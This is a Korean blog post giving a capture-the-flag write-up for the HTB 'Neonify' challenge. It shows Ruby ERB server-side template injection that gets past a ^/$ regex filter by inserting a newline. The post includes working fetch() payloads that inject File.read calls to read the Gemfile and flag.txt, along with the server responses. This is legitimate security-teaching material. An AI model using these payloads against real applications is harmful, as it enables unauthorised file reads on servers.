티스토리 뷰

728x90
반응형

 

문제 개요

Ruby SSTI(Server Side Template Injection)

 

코드 분석

14번째 줄을 보면 client 단에서 보낸 neon 파라미터 값을 정규식으로 검사하고 있는 것을 볼 수 있습니다.

그리고 15번째 줄에서는 neon 파라미터의 값을 ERB 라는 Ruby 의 Template 에 바인딩해서 index 라는 html 템플릿에 렌더링해주는 것을 알 수 있습니다.

 

우선 ERB 라는 Ruby Templating 관련해서 문법을 조금 알아보았습니다. 아래 링크에서 자세히 알아볼 수 있습니다.

https://ruby-doc.org/stdlib-2.7.1/libdoc/erb/rdoc/ERB.html#public-instance-method-details

 

Class: ERB (Ruby 2.7.1)

new(str, safe_level=NOT_GIVEN, legacy_trim_mode=NOT_GIVEN, legacy_eoutvar=NOT_GIVEN, trim_mode: nil, eoutvar: '_erbout') click to toggle source Constructs a new ERB object with the template specified in str. An ERB object works by building a chunk of Ruby

ruby-doc.org

 

그리고 이 외의 코드는 중요한 것이 없기 때문에 바로 SSTI 관련 문제구나하고 짐작할 수 있었는데요. 위 Ruby Templating 문서를 참고해보면 아시겠지만, 파일을 읽어오기 위해서는 아래와 같이 사용하면 된다고 합니다.

<div>
    <%= File.read(filename) %>
</div>

 

다만 정규식에서 언뜻 보면 숫자, 영문자, 그리고 공백문자 밖에 사용하지 못하는 것으로 보이는데요. 다만 보안 관점으로 봤을 때 굳이 ^나 $으로 해서 시작과 끝을 정의할 필요가 있었을까 의문이 들긴 했는데요.

 

그러나 역시 뭔가 있긴 했나봅니다. Ruby 문서를 뒤적뒤적하다가 아래와 같은 문서를 보게되었는데요.

http://ruby-doc.com/docs/ProgrammingRuby/html/language.html#UJ

 

Programming Ruby: The Pragmatic Programmer's Guide

def a   print "Function 'a' called\n"   99 end for i in 1..2   if i == 2     print "a=", a, "\n"   else     a = 1     print "a=", a, "\n"   end end

ruby-doc.com

 

루비에서는 정규식을 개행문자로 구분하는 것이 따로 있다기에 혹시나 싶어서 개행문자를 넣으면 우회할 수 있지 않을까 싶어서 해봤습니다.

fetch("http://157.245.32.36:31003/", {
"headers": {
    "content-type": "application/x-www-form-urlencoded"
},
  "body": "neon="+encodeURIComponent(`a\nb.c.d.e.f.g`),
  "method": "POST"
});

 

페이로드는 위와 같이 날려봤습니다. 그랬을 때 결과로는 아래와 같이 나왔는데요.

<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow">a
b.c.d.e.f.g</h1>
    </div>
</body>
</html>

 

이로써 성공적으로 정규식 우회가 된 것을 볼 수 있습니다. 이제는 위에서 알아보았던 Ruby Templating 문법을 이용해서 특정한 파일을 읽어와보겠습니다.

 

fetch("http://157.245.32.36:31003/", {
"headers": {
    "content-type": "application/x-www-form-urlencoded"
},
  "body": "neon="+encodeURIComponent(`a\n<%= File.read('Gemfile') %>`),
  "method": "POST"
});

 

위와 같이 보냈을 때 아래와 같이 파일 내용이 잘 읽어와지는 것을 확인할 수 있었습니다.

<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow">a
source "http://rubygems.org"

gem "sinatra"
gem 'require_all'
gem 'shotgun'
</h1>
    </div>
</body>
</html>

 

문제 풀이

이제 Flag 가 어딨는지 살펴보고 Flag 를 읽어오면 되겠다 싶었습니다. 보니깐 Flag는 웹 root 경로에 flag.txt 파일로 존재했었습니다. 그래서 아래와 같이 페이로드를 작성하고 보내보았습니다.

fetch("http://157.245.32.36:31003/", {
"headers": {
    "content-type": "application/x-www-form-urlencoded"
},
  "body": "neon="+encodeURIComponent(`a\n<%= File.read('flag.txt') %>`),
  "method": "POST"
});

그랬더니 아래와 같이 Flag가 출력된 것을 알 수 있습니다!!

<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow">a
HTB{플래그는 가려졌어요}</h1>
    </div>
</body>
</html>
728x90
반응형
댓글